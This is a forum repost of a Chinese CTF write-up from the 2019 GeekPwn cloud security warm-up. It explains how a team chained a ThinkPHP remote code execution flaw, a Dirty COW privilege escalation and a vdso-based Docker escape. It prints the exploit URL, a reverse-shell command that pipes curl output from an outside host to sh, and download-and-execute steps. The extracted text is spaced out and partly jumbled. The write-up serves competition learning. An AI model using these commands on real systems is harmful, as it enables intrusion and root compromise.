搜索

[17630] 2019-06-11_首届云安全挑战赛之线上热身赛解题分享

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-06-11_首届云安全挑战赛之线上热身赛解题分享 首 届 云 安 全 挑 战 赛 之 线 上 热 身 赛 解 题 分 享 紫 荆 花   G e e k P w n   2 0 1 9 - 0 6 - 1 1 G e e k P w n   与 腾 讯 安 全 联 合 发 起 的 “ 云 安 全 挑 战 赛 ” 线 上 热 身 赛 线 上 热 身 赛 已 经 落 下 帷 幕 。 经 过   4 8   小 时 的 比 拼 ， R e d b u d 0 2 5   战 队 以 最 快 时 间 提 交 了 最 多 正 确 答 案 ， 荣 获 第 一 名 。 这 支 来 自 清 华 大 学 网 络 与 信 息 安 全 实 验 室 的 战 队 ， 赛 后 回 顾 了 他 们 解 题 过 程 。 这 次 是 首 个 基 于 真 实 云 平 台 的 云 安 全 挑 战 赛 ， 整 个 题 目 是 提 权 和 逃 逸 的 不 断 尝 试 ， 总 共 有 七 个 题 目 。 比 赛 环 境 覆 盖   A P P ,   D o c k e r ,   K V M   和   P y s i c a l   各 个 层 次 ， 七 个 题 目 如 下 ：
题 目 要 求 ： 题 目 要 求 ： 除 测 试 题 外 ， 选 手 置 身 于 一 个 模 拟 的 云 环 境 中 ， 选 手 的 任 务 就 是 从 这 个 仅 有 的 除 测 试 题 外 ， 选 手 置 身 于 一 个 模 拟 的 云 环 境 中 ， 选 手 的 任 务 就 是 从 这 个 仅 有 的   w e b   接 口 ， 层 层 渗 透 ， 获 得 更 高 的 权 限 ， 用 于 读 取 指 定 的 接 口 ， 层 层 渗 透 ， 获 得 更 高 的 权 限 ， 用 于 读 取 指 定 的   f l a g   文 件 。 文 件 。 1 、 、 W e b   网 页 测 试 题 目 网 页 测 试 题 目 首 先   w e b   入 口 的 题 目 的 地 址 是 → 打 开 后 有 个   b a s e 6 4   字 符 串 ， 解 码 即 可 得 到   f l a g 。 2 、 、 A P P   题 目 题 目 题 目 信 息 小 明 选 了 学 校 的   w e b   开 发 课 程 ， 学 习 了 世 界 上 最 好 的 语 言 ， 女 朋 友 想 送 他 一 本 书 作 为 生 日 礼 物 ， 她 觉 得 《 T h i n k i n g   I n   P H P 》 不 错 ， 可 惜 有 点 贵 。 选 手 的 任 务 是 帮 小 明 女 朋 友 找 到 存 放 在   / t m p / f l a g . l e v 2 . t x t   中 的 优 惠 码 。 可 以 知 道 题 目 地 址 是 个   t h i n k p h p   框 架 ； 直 接   g o o g l e   查 找   t h i n k p h p   漏 洞 ， 发 现 h t t p s : / / l e a r n k u . c o m / a r t i c l e s / 2 1 2 2 7   的 漏 洞 可 以 成 功 利 用 ， 利 用 方 式 如 下 ： h t t p : / / u s e r 0 0 2 2 : d c c 1 6 f c 2 @ 1 2 1 . 1 2 . 1 7 2 . 1 1 9 : 3 0 0 2 2 / p u b l i c / i n d e x . p h p h t t p : / / 1 2 1 . 1 2 . 1 7 2 . 1 1 9 : 3 0 0 2 2 / / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] =   需 要 执 行 的 命 令
通 过 这 个 漏 洞 反 弹   s h e l l ， E X P   如 下 ： 执 行   c a t   / t m p / f l a g . l e v 2 . t x t   得 到   f l a g ： f l a g { P H P _ i s _ T h e _ b e s t _ l a n g u a g e _ ^ ^ 5 5 7 8 } 3 、 、 D o c k e r   提 权 题 目 提 权 题 目 题 目 描 述 小 明 又 选 了 一 门 《 操 作 系 统 设 计 与 原 理 》 的 课 程 ， 但 是 小 明 有 个 问 题 一 直 很 疑 惑 ， 他 区 分 不 出 特 权 用 户 和 普 通 用 户 ， 选 手 能 帮 小 明 演 示 一 下 特 权 用 户 吗 ， 例 如 帮 小 明 读 取 一 下 存 在   / r o o t / f l a g . l e v 3 . t x t   中 的 课 后 作 业 答 案 。 直 接 使 用 上 面 一 步 反 弹   s h e l l   是 无 法 读 取   / r o o t / f l a g . l e v 3 . t x t ， 因 为 权 限 不 够 。 通 过   w h o a m i   可 以 看 到 是   c e n t o s   用 户 ， 这 个 环 节 是 需 要 提 权 。 在 服 务 器   / t m p   目 录 下 下 载   l i n u x - e x p l o i t - s u g g e s t e r . s h ， 通 过 执 行 得 到 如 下 信 息 ： 服 务 器 存 在 脏 牛 漏 洞 ， 使 用   h t t p s : / / g i s t . g i t h u b . c o m / r v e r t o n / e 9 d 4 f f 6 5 d 7 0 3 a 9 0 8 4 e 8 5 f a 9 d f 0 8 3 c 6 7 9   P O C 。 下 载   c o w r o o t . c ， 在 自 己 的 服 务 器 编 译 ： 然 后 在   反 弹 s h e l l   中 下 载 ： 运 行 得 到   r o o t   的   s h e l l ， 从 而 可 以 顺 利 读 取   / r o o t / f l a g . l e v 3 . t x t   文 件 得 到   f l a g ： f l a g { r o o t _ i n _ t h e _ d o c k e r ^ ^ 1 2 5 6 } 4 、 、 D o c k e r   逃 逸 题 目 逃 逸 题 目 题 目   4   的 描 述 小 明 同 学 在 获 得 了   r o o t   权 限 之 后 ， 他 认 为 自 己 获 得 了 至 高 无 上 的 权 限 ， 非 常 开 心 的 在   L i n u x   的 世 界 中 畅 游 ， 直 到 他 发 现   / r o o t / m e s s a g e   文 件 中 写 着 这 个 世 界 的 秘 密 。 意 识 到 自 己 只 是 在 容 器 中 游 玩 ， 小 明 非 常 想 让 选 手 帮 他 看 一 下 外 面 的 风 景 ， 例 如 帮 小 明 读 取 一 下 存 在 容 器 外 部   / t m p / f l a g . l e v 4 . t x t   中 的 秘 密 。 读 取   / r o o t . m e s s a g e ， 其 实 没 什 么 用 就 是 告 诉 你 ： 你 在   D o c k e r   里 面 ， 外 面 是   K V M   虚 拟 环 境 ， 需 要 选 手 逃 逸   D o c k e r 。 没 想 到 这 题 也 是 可 以 继 续 用 脏 牛   P O C ， h t t p s : / / g i t h u b . c o m / s c u m j r / d i r t y c o w - v d s o ， 即 利 用   d i r t y c o w   内 核 漏 洞 修 改   v d s o ， 对 内 核 宿 主 机 进 程 进 行   h o o k ， 造 成   d o c k e r   逃 逸 。 在 自 己 的 服 务 器 编 译 好 ， 然 后 在 目 标 机 器 执 行 ： 逃 逸 之 后 读 取   / t m p / f l a g . l e v 4 . t x t   得 到   f l a g ： f l a g { j u m p _ o u t s i z e _ o f _ y o u r _ o w n ^ ^ 3 3 5 6 } 5 、 、 K V M   提 权 题 目 提 权 题 目 题 目 描 述 小 明 同 学 已 经 被 选 手 高 超 的 技 术 所 折 服 了 ， 决 定 好 好 学 习 ， 励 志 从 事 信 息 安 全 行 业 ， 但 是 这 时 候 交 期 末 大 作 业 的 时 候 到 了 ， 小 明 尝 试 了 多 次 还 是 做 不 出 来 。 小 明 非 常 想 让 选 手 帮 他 读 取 一 下   / r o o t / f l a g . l e v 5 . t x t   中 的 大 作 业 答 案 。 这 题 本 意 是 想 考 察 提 权 ， 但 是 题 目   4   的   D o c k e r   逃 逸 出 来 的 用 户 有   r o o t   权 限 ， 直 接 可 以 查 看   / r o o t / f l a g . l e v 5 . t x t   得 到   f l a g ： f l a g { r o o t _ i s _ v e r y _ p o w e r f u l l ^ ^ 4 9 8 7 } 题 目   6   和 题 目   7   好 像 没 有 队 伍 做 出 来 ， 题 目   7   应 该 是 个   0 d a y   了 。 参 考 参 考 链 接 链 接 （ 链 接 可 通 过 复 制 在 浏 览 器 中 打 开 ） h t t p : / / 1 2 1 . 1 2 . 1 7 2 . 1 1 9 : 3 0 0 2 2 / / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = c u r l + h t t p s % 3 A % 2 F % 2 F s h e l l . n o w . s h % 2 F 1 5 4 . 2 2 3 . 1 4 5 . 1 7 3 % 3 A 1 3 3 7 + % 7 C + s h s h   . / l i n u x - e x p l o i t - s u g g e s t e r . s h   … … . [ + ]   [ C V E - 2 0 1 7 - 1 6 9 9 5 ]   e B P F _ v e r i f i e r [ + ]   [ C V E - 2 0 1 6 - 5 1 9 5 ]   d i r t y c o w [ + ]   [ C V E - 2 0 1 6 - 5 1 9 5 ]   d i r t y c o w   2 g c c   c o w r o o t . c   - o   c o w r o o t   - p t h r e a d c u r l   - O   h t t p : / / 1 5 4 . 2 2 3 . 1 4 5 . 1 7 3 : 8 0 8 0 / c o w r o o t c u r l   h t t p : / /   你 的 服 务 器   I P / 0 x d e a d b e e f   - o   0 x d e a d b e e f c h m o d   + x   0 x d e a d b e e f . / 0 x d e a d b e e f   你 的 服 务 器   I P :   端 口
h t t p s : / / g i t h u b . c o m / m t a l b i / v m _ e s c a p e h t t p s : / / d a v i d 9 4 2 j . b l o g s p o t . c o m / 2 0 1 8 / 0 9 / w r i t e - u p - t o k y o w e s t e r n s - c t f - 2 0 1 8 . h t m l h t t p s : / / g i t h u b . c o m / p e r f e c t b l u e / c t f - w r i t e u p s / b l o b / m a s t e r / R e a l W o r l d C T F - 2 0 1 8 / k i d v m . m d h t t p s : / / o p e n s o u r c e . c o m / a r t i c l e / 1 8 / 5 / h o w - f i n d - i p - a d d r e s s - l i n u x h t t p s : / / g i s t . g i t h u b . c o m / r v e r t o n / e 9 d 4 f f 6 5 d 7 0 3 a 9 0 8 4 e 8 5 f a 9 d f 0 8 3 c 6 7 9   - - - E N D - - - 更 多 挑 战 项 目 ↓ ↓ ↓
极 极 的 的 的 的 ↓ ↓ ↓ 去 官 网 浪 一 圈 去 官 网 浪 一 圈 阅 读 原 文 棒 棒 棒 棒 事 事 事 事 赛 赛 C h a l l e n g e s   o f   G e e k P w n 2 0 1 9 滑 动 解 锁 更 多 项 目
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理